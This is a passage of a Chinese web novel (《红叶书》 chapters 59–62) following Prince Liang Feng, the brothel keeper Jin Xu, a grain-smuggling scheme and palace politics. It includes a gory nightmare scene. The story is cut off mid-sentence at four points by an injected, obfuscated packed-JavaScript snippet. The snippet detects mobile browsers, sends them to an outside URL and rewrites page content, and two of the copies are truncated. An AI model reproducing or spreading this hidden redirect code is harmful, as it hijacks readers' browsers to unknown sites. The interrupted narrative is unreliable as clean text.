金絮无比安静地专注于手上的事。她不说话的时候,梁风是真不知道她在想些什么。 他拉拉她的衣袖,提醒她他要说话了。金絮没有反应。 梁风慎重开口:“看在我救过你的份上,能不能告诉我?” 水壶的动作顿住,金絮抬头看着他。 梁风心里不安,他不想觉得这句话是杀手锏,就怕她就连这句话也不重视。 对视几息,金絮收回视线,接着浇水,仿佛不想理他。 他并不觉得放松,反而担心起来,挟恩图报在她这不起作用好像不坏,但他还是感觉不舒服,她这是不看重他,也不看重自己。 梁风郁闷地跟在她后头弹灰,搞不清楚自己在想什么,掸子在墙上敲敲打打。 金絮浇完了一壶水,再去取。 她打了一大桶水,梁风想帮她拎,结果她不知从哪拉了一辆带轮的小推车,桶放到车上,推着走很方便。于是她一路浇水一路扫灰。 他好像很多余。 水流滴滴答答地灌进小树根,偶有大盆的摇钱树,金絮会在浇完水后看看叶子长势,顺便给叶子除灰。梁风在旁边默默看她,越发觉得自己多余。 金絮浇完一瓢水,忽然轻声道:“馆里聚集的官员有时会凑一起谈论事情,我无意间听见过几次。” 梁风一怔,见她回头注视自己的反应,没留神就顺了她的话去想。 “我听见他们说,相比太子,三皇子似乎更得皇帝宠爱。他们有的人说皇帝此举不妥,极易令朝堂失衡,也有人猜测皇帝这么做是不是有什么深意,他们这些大臣们今后如何自保,还有的分析游丞相对太子失宠是什么态度。” 看完他的脸,金絮掂掂水壶,继续浇,自问道:“三皇子的母亲是林昭仪?” 她道:“我想插一手。我打听到林昭仪的食邑是太南,应和王若是放一批太南粮食入城,这是明令禁止下的夹私,是手握重兵的应和王暗中偏倚,肯定会对两位皇子间的对峙产生影响” 梁风呆着,她不说“你”,不说名字,要叫应和王,他听着都不觉得是在说他。 “你去哪里打听这些的。” “不告诉你。” 如果她在偷听官员谈论时主动打探,那些当官的肯定不会告诉她,反而会怀疑起这些青楼女子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839874|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是收了应和王的钱,帮他在青楼这样人多眼杂的地方打探消息,毕竟应和王三不五时就往青楼跑,和青楼女子当然联系密切。 她大概不会这样做,但也可能会,她或许在文官暗示下并不否认自己是应和王的人,默认自己做任何事情都是应和王府的授意......但她也可能不至于这样做,何况她用得着暗示,向文官举报那对杯子时就是很直接地用了应和王的名义了。 ......算了算了,梁风懒得多想。 “我偏倚三皇子会有什么后果?” “不知道。”她还在浇水,状似浑不在意,“我就是想看一下这么做的后果会是怎样。” 小水流慢慢浇完了三楼,梁风逐渐停下脚步,金絮回头看了他一眼,不多管,推着小车上四楼。 梁风在廊边的茶榻坐下,虽然懒,但他确实需要想一想。 官员捐资这件事情中,旨意并没有让皇子和公主们也捐粮,但他们是有给皇帝送粮食的,为的是缓解父亲燃眉之急,明面上是国之大事,当然有皇室子女一份责任,暗里是争夺父亲宠爱。 公主皇子的捐资没有经过梁风,他不知道确切斤两,只听说捐的最多的是太子。如果他暗中让林昭仪的食邑粮食入城,毫无疑问是支持三皇子的态度。三皇子就更加得势了。 这事很好捋,那就是他必须表态,但没有选择地只能站皇帝,金絮这件事不能帮她做。 梁风起身,也走去四楼,心里盘一盘道:“我若帮了你,才是真正意义上用了兵权,在这之前,可以说我从来没有真正用过兵权。” “对,你如果这么做了,皇帝会怕死你。”她回复很快,手里动作没停。 梁风抿了抿嘴,定定看她,“你真聪明,非常知道自己要做什么,我在你这年纪时,完全比不上你。” 动作停了,金絮双手垂下,转身看他,脸上像是忽然化了妆。 梁风不明所以,金絮瞧他片刻,动了,双手被提起来一般,环圈拢在肚子前,似乎想礼,又没礼,同他道:“谢王爷夸奖。” 莫名其妙的动作,梁风冷哼,不承这声奖,“不过你告诉我了,那我便不这么做了。” “随你。”她冷淡。 “这件事做成,对你有什么好处?” “不知道。我只知道会与你决裂。” 梁风一瞪,声音都大了:“你想与我决裂?” “没到死地,当然不想。” 到死地就想了?梁风近她一步,凶道:“你不知道后果,就想要我帮你出头去冒险,而且是不惜性命地冒险。” 她垂着头老实听凶,梁风放狠话:“如果我和我身边的人因为你出了什么事,我不会原谅你。” 她眼睛一动,抬起头看他。 “别以为我会答应你。”梁风知道她在想什么,骂道:“小骗子。” 他拂袖,打哨召来两名暗卫,让暗卫留下,自己离开。 金絮看看那两名没带面罩的暗卫,看看梁风的背影,脸色沉下来。 离了温柔馆,梁风去了趟南门粮道关口,看见了堆放在关口外的粮食。 有一小部分商户在禁粮旨意下来后将粮食运回去了,关口堆积的粮食不算特别多,但也有数千斤。在临时搭建的粮仓中按不同郡县分放,都是去壳粮食,由各郡县上京的多余人手与梁风的兵力看守,防止火患与老鼠。 梁风找到其中太南的粮食,更只有五六百斤。卡关的这些天,粮食都有消耗,再卡久一点看守们都能吃完了。 这点粮食偷放进城实在微不足道,只是他要顾虑的又不止是这五六百斤。梁风郁闷,心情恹恹。 140. 《红叶书》(六十) 晚上睡觉,梁风做了个梦。 他梦见了金絮。 他梦见自己站在温柔馆门口,是金絮将要迎进馆中的众多男客之一。 金絮沐浴着烛火,以十分喜庆的盛大姿态欢迎各个男人们,总是搂着每个男人的胳膊,将他们挨个送进温柔馆中。 梁风呆呆站着,等待她的眼神看过来,心里想她抱着他的手臂,但不要把他送进温柔馆的嘴中。 终于轮到他了。 那双喜庆的眼睛看过来,伸出仿佛是替温柔馆伸出的双手—— 金絮触碰到他的一刻,周围场景忽然变了,月亮消失了,人声消失了,满街的烛火消失了。地面浮起一团团幽冥般的蓝光,夜空和街道蓝得发黑,一股雾气裹挟着靠近,梁风在雾气中感到冰冷。 温柔馆整个馆身外墙爬满了不知名的植物藤蔓,她的衣服变成了黑色,她的脸上鬼气森森。 温柔馆的嘴被藤蔓封住了,金絮青色的脸上泛着死气,她靠近,双手前拢环圈抱住他,在他面前笑。 一直笑,嘴唇咧到了后脑勺。 脸部皮肉跟着嘴角一同往后扯,双眼被上下眼皮挤没,嘴在头上开了个大裂口。 大嘴张开,上半颗脑袋往后仰,被后脑勺一线皮肉连着。鲜血和红白脑花在裂口边沿滴落,裂口里刺出尖利的牙齿。细如针尖的牙齿密布好几层,一直延伸到喉咙深处,没有舌头。 撑爆头颅的裂口尖牙开心地对他说:“谢王爷夸奖。” 牙齿摩擦的声音像两把利刃快速割过,刺耳得仿佛要擦出火花。 “谢王爷夸奖。” “谢!王爷夸奖!” 梁风猛地惊醒,被吓醒了。 屋里屋外没有别人,没有光亮,没有幽冥。 他被吓得不轻,缓了好久梦里的画面仍是清晰可辨细节。 实在怕得狠,天还没亮,梁风换身衣裳趁夜跳上屋顶,飞奔去温柔馆。 城里几乎没有亮灯,街道拐角偶尔才有一盏。梁风趁着月光,远远看见黑漆漆的温柔馆,心里松了口气,过快的心跳慢下来。 大馆与平时一般无二,月亮照耀馆身,瓦片墙檐纹理可见,庭院树丛下的阴影若有似无地露出几点池水反光,看起来只比白日里暗沉了颜色。 停在周边屋顶上,梁风犹豫一阵,还是没跳进馆中,仔细听着月光下的风声,辨认风中若有似无的呼吸。 有风声扰乱,呼吸当然听不到。但是无论怎样看,庭院和楼楼栋栋都不一样了,小骗子安然睡在里面。 天亮后,梁风去上早朝。 皇帝起先慰问应和王的身体,梁风道无恙。又问捐资情况,梁风如实汇报,捐资已经收齐了。 而后相府惯例上禀军备筹措进度,和匈奴在边境的驻兵情况。这时有官员提出,是否应该撤回应和王监币使的职位。 游照同站出说应和王应暂留监币使一职,皇帝没说话,神色微微犹豫。游照同说皇子与公主的捐资缺乏人手清点,可交由应和王负责。 梁风心里不耐,有些着急,他还想去看看冯棹台,问问冯棹台的意见。他现在隐约发现,冯棹台被禁足是蓄谋的,就为了让他落单,无人可以参谋。 他也有权衡,监币使的职位撤了,意味着母亲可以在宫内联系到他了,但不知道粮道还归不归他管,金絮的事情让他很不放心。 梁风东想西想,注意到皇帝看了他几眼,意味不明。 最终皇帝同意暂时保留应和王监币使一职,职责不变,一并清点皇子公主所缴捐资。 梁风没得拒绝,应下了。 高京的事情再被提起。梁风拼命想该如何表态,头顶皇帝渐变压迫的目光,电光火石间忽然想到一个办法。 朝会结束后,梁风请求面见皇帝。夏培很快通报回来,引他去见。 皇帝开门见山便问:“想好了?” 梁风点头,“想好了。” 他道:“陛下要挑大臣错处,不一定要在捐资中挑拣那些钱币的质量轻重。官府统一铸币并推行的旨令已经颁布几年,若是这条旨令落实有违,牵扯到的人实在太多,说不定不止文官,连自己人也要牵扯进去了。” “你有别的主意?”皇帝不露神色,只问。 突然冒出来的念头,他没来得及多想,底气有些不足,道:“可以查一查最近几年部分官员在京与地方之间于每年交税前后暗中操控粮价的情况,这种事情一查一个准,大部分文官都逃不过,抓到把柄,可以拿来威胁游照同的人就多了。” 他边说边想,“而且操控粮价一般不会与太监有关,太监久待深宫,接触不到外面的市价。” 他自认是个好办法,既对皇帝表了态,还保下了那三名鉴宝师和太学学生,之前金絮埋怨官员操控粮价,也可以趁这次解决。 “你在地方剿匪,有见过当地官员操控粮价?”皇帝问。 “听说过一些,见的不多。” 行军时为不扰民,扎营多数在城外,梁风确实不曾亲眼见过。他还想到可以由冯棹台调查此案,将功折罪,禁足就能解除了。 皇帝平平道:“这件事情朕是知道的。不仅朕知道,多数在京官员也都十分清楚。” 梁风一顿,呆了,没想到。 “影响粮价变动的原因很多,你以为那些地方官控制粮价是为了什么?”皇帝道:“各地郡县包括京畿地区,通过操控粮价明里暗里赚到的金钱基本都投入了军中。军事花销实在太大,哪怕你每次行军路过尽可能少犯边民,降低军队对百姓造成的影响,但你有哪一次凯旋返京时没有用过地方援拨给你的钱粮?不额外调予你钱粮,凯旋路上你很难无损失抵京。” “你心里应当清楚。”皇帝望向他,“不光是粮食,其余布匹、瓷器、木材等等,各地每年都有调控增加税收中的额外收入。 “背后原因太复杂,一两句和你说不清楚。对夹私眛钱这类事情,朝廷态度是睁一只眼闭一只眼,在合理与适度的情况下,存在一种‘宽松’,不知你能不能理解这种‘宽松’。当然,肯定也有部分的钱是被他们贪了,但这种宽松的惯例之下,朕若要究责,那得究到几百年前了。” 梁风听了后,默然抿唇,半晌才摇头道:“我理解,但我不理解。” “从前的崔固和贺兰将军在时也是如此。”皇帝摆摆手,“无妨,朕知道你的意思了,下去吧。” 梁风退下,没多逗留便去往储钱大殿。 他不明白的事情有很多,明白的事情只有一件,那就是放过不在自己掌控内的事情,不要像金絮那样钻牛角尖。 太学学生还未经皇帝旨意调走,殿内原本储放的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839875|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 币全由皇帝拿走了,梁风等着公主皇子们的捐资送来。 午后,先是公主们的捐资送抵。好在公主送的基本没有钱币,全是黄金,算账就方便了,称重即可,不用数,梁风本来还怕人手不够。 近傍晚时,皇帝的妃子们也有一些送了钱来,梁风记录一下,都收了。还有的送的是首饰和珠宝之类,梁风没有收。 入夜后,他便关了储钱大殿,不再收钱。他要去几个粮道关口亲自守一阵,他担心金絮在背后会偷偷做点什么。 骑去南门时,绕了一点远路,绕去了温柔馆。 金絮还没打算开始营业,温柔馆外面看起来仍是一片漆黑。梁风踩上屋檐,能看见庭院后的寝楼亮着好几盏烛火,她的姑娘们有不少回来了。 放了半颗心,再去南门。 一夜无异常。 隔日早朝,皇帝宣布,经应和王提议,彻查京畿与地方近几年粮价变动的背后原因,以及校对这些年地方上呈税收账簿的书面数额与实际所收数额,若有误差,详查。 群臣有窃窃私语声。游照同的目光向梁风看来,梁风当作没看见。 游丞相赞同皇帝决定,并商议此事交最宜由何人来查。 各种各样不相同的名字被人提出来。提了几个人后,再出现的就是重复的名字了。梁风听见有人提议冯棹台。 提议冯棹台的人是游照同。 轮到梁风看游照同一眼,游丞相也没有搭理他。 皇帝排除众议,点了一名相府属员调查此事,显然心中早有选定之人。 相府内似乎有人松了口气,游照同波澜不惊,躬身应旨。 除了是以他的名义提议外,这件事情看起来似乎与他无关,梁风高高挂起。 下午,与丕的捐资送来。过两个时辰,与棣的捐资也送了来。皇子中就只剩下与義还没动静。 梁风再去各个粮道关口视察时,听守卫来报,每处粮道关口以及城门内外都能见到几个相府的属员在走动,四处打探事情。 他观察一阵,这些人打听的都是有关粮价变动的案子详情,因关口内都是各地郡县上京的人,便于打听了解情况。 梁风让士兵盯着这些人,暗中跟进度,但不阻拦他们办事,有异常向他禀告。 异常发生在第三天夜间。 几名相府属员在城墙根与不知姓名的人物偷偷会面,互相传递了什么东西。士兵向梁风报告时,那几名属员已经拿了东西去往相府了。 似乎是封信件。应当不是什么见不得人的信件,传递东西的双方既没遮挡面容也没隐藏姓名,梁风便不过多深入。 隔天早朝,梁风按时进宫。在候朝室等待启朝时,听见相府那边人说,昨夜远在台山养老的郑熹丘寄来的信到京了,那封快马加鞭的信件一进入京城就由相府顺利送去了皇帝的桌案上。 那原来是郑老写给皇帝的信。 相府没有人拆信提前阅览,但都知道内容。 梁风听了一耳朵,听见内容是郑熹丘建议皇帝就此收手,把该处置的太监处置了吧。 他不由挑眉,有点想象不到皇帝会是什么反应。 大臣说了几句便消声了。等了很久,大臣们陆续到齐,没见夏培来引众人入殿。 直到天亮了,夏培姗姗前来告知,皇帝罢朝了。 141. 《红叶书》(六一) 皇帝以身体不适为由,免去三日朝会。 皇帝罢朝的原因是否因为那封信件,梁风不知道,但他猜测是的。 皇帝被郑熹丘教训了一通,不开心了,于是赌气罢朝。 群臣嘴上担忧陛下龙体,没有表露不满,告礼退散。 梁风跟着一起走。他觉得大臣只是把不满放在了心里,皇帝面对大臣的出招,选择了逃避策略。 他留在宫内,等着与義的捐资,一边观察事态发展。 朝堂仍有序地进行,没了皇帝还有丞相,政务的批复与决策全由丞相拟定,拟定的圣旨与奏折交由皇帝加盖宝玺,再下颁施行。 原来皇帝不是那么的重要。哪怕有加盖宝玺的最终决定权,但皇帝这三日看见的所有圣旨和奏折只会是相府希望他看见的内容。 梁风觉着,皇帝这一步是输了,受迫于郑熹丘这位帝师的压力,决定在与大臣的夺权中后退一步。 梁风收回围观朝堂的视线,专注于手里管着的捐资。 他遣人去提醒七皇子,捐资什么时候送来。 一个时辰后,七皇子梁与義亲自来了。 梁风看着与義空空如也的身后,目露疑惑。 与義尴尬道:“皇叔,我也不瞒你,我没钱凑捐资了。” “怎么会?”他卖卖东西还能凑点钱出来呢,与義一个皇子会没钱? 与義挠头,“半个月前,宫外有一个商人说自己寻了匹泽南的汗血宝马,投入赌市,据说迅如疾风......我押这匹马会输来着......结果赢了,泽南养成的马当真够快。” 梁风想说什么,呆了。 与義更尴尬了,“我事先打听过,今年长泽以南多旱,马料不好,泽南养成的马匹多积病瘦弱,即便外面看着强壮,内里也是虚的,结果没想到这马反而有股野性,也不知道是怎么养的。” “你一个皇子,赌钱啊?”梁风惊懵了,“赌的还是马市这样的勾当?” “也不算我赌,我是让下人出去替我赌的,我又没法出宫。” “你甚至还不是自己赌的?那你赌来有什么意思?” 与義噘嘴垂头,无法反驳。 “陛下知不知道你干的好事?” 与義嚅嗫一阵,小声道:“父皇应当知道我偷玩,但不知道我在玩什么。” 与義声音压得低,却压不住话里的小骄傲,“我身边人可听我话了,不会偷偷告诉父皇的。” “你身边人不会偷偷告诉你父皇,你父皇难道还不会自己查啊?” “父皇才不会查呢,父皇忙着皇兄之间的事情,管不着我。”与義丝毫不怕。 梁风却在这话里听见一点冷落的意思,“陛下是不是很少管你?” 与義猛地摇头,“一点也不少,我的功课父皇可没少查呢。” “我说的不止是功课......”梁风止住后半段话,“你的捐资打算怎么办?” “不知道......”嘴上说着不知道,与義一双眼睛滴溜溜转向梁风,“皇叔愿意帮侄儿吗?” 梁风眼皮一跳,怎么又是这个问题。 与義摇晃他的袖子,“皇叔愿意帮帮你可怜的侄儿吗?” 可怜?梁风脑子里出现金絮问他“我的难处你帮吗?”的时候,那威胁的感觉没半点可怜样子。 梁风目光回到与義脸上,与義的殷殷切切也不是可怜人的模样。 又一个人来找他帮忙,就没人想着帮他。 “你要我怎么帮你?” “皇叔能不能借我点钱?”说到借钱,与義丝毫不显羞赧,“不用多了,我就想在我姐姐和二皇姐之间凑个数。” 二公主和五公主之间选个数,倒不算特别多。 “钱虽然不算多,但我也得筹......”梁风有些为难,责怪道:“你学学你两位皇兄,他们不光自己的捐资自己筹,还会想办法怎么样多捐一点。” 与義不开心,“怎么皇叔也要拿我和两位皇兄比,我若是也殷勤地筹钱,两位皇兄可要生气了。” 梁风叹气,“我想想办法吧,筹钱而已。” “我自己也会想办法的。”与義拍胸脯。 府里好像还在卖粮,实在不够的话找钱庄借也行,应和王府这个名头要开始借贷了,梁风戚戚焉。 “皇叔。”与義碰碰他的手肘,“皇兄们捐了多少钱啊?” 梁风想了想,道:“太子殿下捐了一座实心的金屋,有半个人那么高。三皇子捐了百斤黄金,都不少了。” “皇兄们真是富裕。”与義嘟哝:“我听说他们最近常去军营走动,整日帮父皇分担处理地方上奏,还能分出精力筹措捐资。得父皇宠爱就是不一样,我也想做这么多事都调配不出人手。” “你父皇不宠爱你吗?” “倒也不是不宠爱我,可能只是爱我的方式不一样。” 与義说得委婉,梁风听着心里很不对劲。 “你若是觉得你父皇不宠爱你,恐怕是你与我离得太近有关。”梁风耸肩,“你看看你两位皇兄,还有皇姐,与我都离得不近。” 梁风提醒:“小时候是不懂,现在懂了。” 十六岁的梁与義愁眉苦脸地思索,眉毛半天也展不开,纠结道:“这只能二选一吧,我现在日子过得挺开心的,我若想获得父皇更多的宠爱,皇兄们就不愿意让我过得开心了。” 梁风噎住,一想也是,与義要插入进两位皇兄明显已失衡的斗争中,现阶段悠闲赌马的日子确实不保了。 “皇长兄心里很紧张啊。”与義靠近,压低声音偷偷和他八卦:“皇后娘娘母族不盛,在朝中势力偏弱,三皇兄就不一样了,林昭仪的母家甚至有人在军营中担任太尉,皇长兄没有。” “太尉只能由一个人担任啊。”梁风道。 “嗯嗯。”与義煞有介事地点头,“这我知道,叫做外戚。” 有点不对劲,梁风忽然听出什么,心头一跳,稳住表情地看与義。 与義恍若未觉,呆懵呆懵地点完头,道:“皇叔,侄儿这便走了。” 梁风压下心中诧异,抓住话头末尾安慰道:“或许吧,或许只是陛下宠爱你的方式不一样吧。” “管他呢。”与義拍拍屁股,一礼,“皇叔记得帮侄儿筹钱哦。”礼完两三步便跑了。 梁风注视与義离去,暗暗感到不好。与義是在提醒他,军营里出了状况,他有必要回营一趟了。 算一算,有多久没回军营了。自从担任监币使,起初还会察看营里送来的信件,后面忙起来,还要关心金絮那边,军营的事情几乎全部放下了。十分紧急的事情副将会亲自前来禀报,但这么多天,没见过副将找来。 梁风快马骑去军营。 入营时一切如常,外圈兵士见到他都会行礼。 但是到了新兵营和武备库,盯视他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁风还想张嘴说话,又怕不经思考说出来的话私心太重,只能停下来捋捋,尽量把自己摘出去。莫名又想到在大臣全部缴完捐资后,还要多推给他负责皇室捐资的事情,大概就是为了拖延,让他回不去军营,营里多出来的人恐怕不只是皇帝的。 “我知道营内缺乏中低层将领,我本意是想在底下军士中选实力强者升任,他们中许多人随我剿匪都有功劳在身,升衔理所应当,也服众。可太尉突然提拔那些他们不认识的人,匪兵不信服,又会吵吵嚷嚷,营内秩序就乱了。” “我当然清楚。但只要将领有足够手段统协军营,区区匪兵自然乱不起来。”太尉不以为然,“大周军营怎可能由一群山匪协领?匪兵不可能获得升迁。” 把话说死了,梁风不敢相信,“他们当初之所以从军,就是盼着有升迁的那一天。招匪兵入营时,我从未听说过不许匪兵升迁的话。” “这话需要说?谁心里没数?”太尉厉声道:“你也不动动脑子,匪兵可能升迁吗?” 梁风大声地喊:“缺兵时各种好话将他们召进来,如今不那么缺了,又想把好话收回?我即将抗匈,你在这时扰乱军心,是想把大周拱手让给匈奴吗?” 梁风怒指,“何况我看那些新人的位置,不全是升迁,而是调换!” 太尉也有火了,“大周会不会败给匈奴,全看你如何领兵,你但凡有一丁点把握不能大败匈奴,在这时就不该说出这样的话。你接下来若是抗匈败了,别有用心之人就会说你是故意败兵以泄私欲!” 太尉沉声道:“你有本事,就把他们调换回来,没本事,就好好干你该干的事。” 说完,太尉大手一挥,让他退下。 梁风一肚子气,半天咽不下去,用力地一扯帘帐,外面天早就黑了。 他不顾天黑,骑马径直去到南门粮道关口,趁着宵禁前最后一批入城的人,放进太南运来的全部粮食。 粮队未做任何伪饰,由他亲自许可入城,没有受到任何阻拦。 142. 《红叶书》(六二) 他有本事吗? 没有。 梁风坐在干巴巴的粮仓地上,用自己填补了原本放置太南粮食的空位。 粮队的尾巴看不见了,他冷静下来。 扪心自问,如果手下士兵有一天不信服于他了,他肯定是不高兴的。 但他有信心,军人的决心与信念不会轻易动摇,这是那些文官不会懂的。 那些文官小看军人了。他们应该忠心于谁,谁才是每次和他们一起并肩对敌的人,他们心里比任何人都清楚。仅仅是提拔几个新将领,就妄想转移他们的忠心,这样的忠心,皇帝哪怕要来了,往后也会寝食难安。 可如果十分放心的话,他现在放入太南粮食又是为了什么。 ......当然是要搅乱那群人! 没法进城了,军营也不想回去,梁风在城门口过了一夜。 呆坐在城门上吹冷风时,温柔馆的守卫无声踏空而来。 梁风眼睛微微瞪大,“别告诉我她出事了。” “主子放心,没出事。”暗卫道:“今夜温柔馆开始营业了。接近子夜时,鸨母又收到了一枚天机阁哨卫传递给她的锦囊。” 暗卫截下了那枚锦囊,打开看了一眼,卷得细如针的纸条上写四个字:查无此人。 “查的是家人,鸨母在寻亲。”暗卫道。 截下的纸条原封塞回去,由哨卫传递给金絮。 梁风望着茫茫夜空下望不见的温柔馆,思绪很快从军营抽出,想象金絮一次次收到这纸条时的心情。 “那哨卫还说,起初鸨母办事的保密级别是很高的,轻易打听不出来,只是后来托天机阁办的事渐多,给的钱却少了,保密级别降低了,属下不过简单一问,天机阁的人便直接说了出来。” 温柔馆的欠债想必有部分是欠天机阁的吧,难怪她那么缺钱。梁风点头,“我知道了,锦囊下回再送来便不用截了,让她平安收到就好。” 该不该提醒她呢,她冒大险,甘愿降低保密级别也要托天机阁寻亲,有没有暴露身份,她是金延守遗孤的事情被天机阁知道了会怎样,天机阁如今的势力应当也不比从前了吧。 真是不让人省心。 梁风心情不好,找个地方睡觉。 结果一闭眼,金絮的脸出现在眼皮上。睁开,她消失了,闭上,她又出现了。 梁风瞪大眼睛,每次到这种时候,都不能睡觉了。 四面楚歌的威逼感像是被一根绳索吊在悬崖中间,不上不下。本身就爬不上去,自己还要拿小刀在绳索上到处割。深深浅浅的刀痕布满绳索,不知道接下来哪一刀就把绳子割断了,人就掉下悬崖。 他都分不清这感觉是来自于他自己,还是金絮。她到底怀着怎样的心情一遍一遍找人,一遍遍找不到。 身边事事不顺心。梁风直愣愣躺着,不停地想她。 直到天边晨光微露,他一下子弹起来,飞快地骑马去温柔馆,幸好一早不用上朝。 清晨的温柔馆还没开门,梁风进不去,他从侧面爬墙。 爬到墙头的一刻才发现心急了,馆里的人估计还没醒。 犹豫要不要下去,一枚石子扔到了他脚边。 梁风低头一看,墙边一棵大树下,丽姬正仰头瞧他,穿着红色衣服活像绿丛间一朵大红花。 “你又爬墙。”丽姬扔一枚石子打他。 “丽姬姑娘。”梁风跳下,问:“阿絮在睡觉吗?” ......阿絮这个称呼真不错,他诧异于自己叫得这么顺口。 “找她干什么?她还没睡,马上要睡了。” “我有话和她说。”梁风忙道:“不耽搁时间的。” “那走吧,我带你去找她。” 说完就走,梁风跨步跟上。今日丽姬似乎有些好说话,他试探着找话头:“丽姬姑娘是花魁了吗?” “是了。” 梁风殷殷点头,“恭喜。” “好事啊。” “能得偿所愿,当然是好事。” 丽姬斜睨他,“哪天我去杀人放火,你也来恭喜我。” 梁风噎住......也不算好说话。 丽姬继续领路。梁风探究地看看丽姬侧脸,看出疑惑。 丽姬鼻子侧面有一点红,可能是手指抠出来的,两边脸颊能看见皮肤纹理和一点点绒毛,好像没有阻碍。 “丽姬姑娘有化妆吗?”他问。 “干嘛?”丽姬拍拍脸,“没有,我天生丽质,用得着化妆?” “哦......”梁风只觉得丽姬的脸和之前金絮给他看的皮肤很像。 “你要和她说什么,她估计不愿意听。”丽姬看戏的语气。 梁风思索,摇头道:“不和你说,我要和阿絮说的事情不告诉别人。” “了不起哦,你又怎么知道她背着你不会告诉我呢?” “那就看她意愿了。我不会把她的事情往外说。” “呵,多贴心似的。” 梁风无奈,还是摇头道:“她恐怕不觉得我贴心。” 想说的是安插暗卫在她身边惹她心烦了。低头走完卵石路,梁风一抬眼便看见那条砖桥上坐着的金絮。 她穿着白色的衣服,盘腿坐在桥栏上,也不怕掉下去。 金絮双手抱胸,皱眉不满地看丽姬,“你去哪儿了?还不睡觉?” “去抓一个翻墙的贼。”丽姬食指点着梁风。 金絮目光跟着看过来,梁风盯她的双眼。金絮不满的表情未减,松腿下桥,“我先去睡了。” 怕她走了,梁风忙道:“查无此人?” 金絮果然站定,回头瞪视他,带一些警告。 旁边围观的丽姬挑眉,“你们在对暗号?” 金絮推推丽姬,“没有暗号,你先去睡觉,等我去找你。” 丽姬翻翻白眼,走了。 周围空了,没有别人,梁风生气地教训道:“你托那些江湖组织办事很危险知不知道?暴露了身份怎么办?做事考虑后果了没有?我想你想了一晚上,担心你担心了一晚上。” 金絮重新盘腿坐回桥栏上,抱胸回怼:“我想找人还能怎么办?我的难处你又不帮我。” “你还敢这么理直气壮?!......谁不帮你了?太南运来的那一丁点粮食我已经放进城了。” 金絮斜眼看他,不知信否。梁风逐渐被她看得失去底气,小声补充:“......不过,也不全是为了你。” 金絮眼神一哼。 “往后不可以再托天机阁办事了。”梁风认真严肃地教训。 她冷漠的脸明摆着不听。 “我很担心你。”梁风也做到桥栏上,坐到她面前,“我前几天夜里做了个梦,梦到你变成了一个妖怪,就是画本子里那种妖怪,你还抱住我,对我说谢谢......” 她嘴角一扯。梁风手指虚空点地,仍是认真道:“我管不着你要做什么事情,但你必须保证这件事情是安全的才行。” 金絮不扯嘴了,也不看他,目光落在某处想着什么。 梁风坚持地不移开视线,直等到她回应他这句话。然而慢慢发现,她的脸上有点白,眼睛下面的纹理比往常看见的时候更明显,嘴唇也白,还起皮了。梁风眉毛越皱越深。 金絮似乎想通了,放软神情,松了口:“不会出事的。我认识天机阁主......应该说,天机阁主认识我。” 她道:“小时候在太南我应该见过一次天机阁主。那一次我爹隔了两个月才回来,回来第二天,府里就来了个带面具的女人。我听见我爹和她谈话,不记得谈了什么,只隐约听见我爹唤她天机阁主。” “真的?天机阁主是女人?”梁风很诧异,这和他印象里对不上,他记得天机阁主是男的。 “对,是女人。”金絮很笃定,“因为我记得她比我娘亲高。一般人见到的天机男阁主可能是假的,或者是副阁主。” 梁风很快从这个问题跳出来,无所谓天机阁主是男是女,摇头道:“还是不行。这不能说明天机阁主就值得信任。” “天机阁主或许不值得信任,只是金延守还有遗孤在世,并且在一家青楼做老鸨——知道这件事的未必只有你我二人。” 她不屑,“还瞒什么瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他心底有点窘迫,知道问得可能过界了,但还是道:“你让你馆里的姑娘用她们的身子挣钱,你再用这些钱去行你的善、做你的恶,只管安然保持你的处子之身,这对你的姑娘们来讲未免太不公平了。” 她停止挣扎,被禁锢的手用力地握拳。她很生气了,梁风能感觉到她浑身绷紧的颤抖。 “你管天管地,还管到我是不是处子?”金絮声音都变得尖细。 不远处的丽姬高声喊了一句:“你家住海边啊?” 丽姬根本没走远,还在桥边倚靠着一棵树看戏。 丽姬大喊:“姑奶奶我乐意,用得着你操心?你是我爹啊?我的身体发肤受之于你?” 再喊:“姑奶奶我今年十八,倒看不出来你五岁时就生了我?” 梁风哑口无言,他觉得自己被针对了。 “丽姬姑娘,你快点去睡觉!”梁风喊回去:“我说的也不只是你,温柔馆里还有那么多人,难道每个人都是自愿吗?” 丽姬收回伸长的脖子,不屑地一哼。 梁风对金絮轻声道:“我是为你好,你不要和我吵架。” 一低头,看见金絮铁青的脸色,她却在哭。梁风心跳差点停了,忽然感到害怕。 她眼睛里全是眼泪,往下掉,眼睛还是红的,红得要盖过眼睛下面的黑色,起皮的嘴唇好像更干燥了。 梁风意识到说错话,无措地松开她,希望能弥补,“你别哭......” 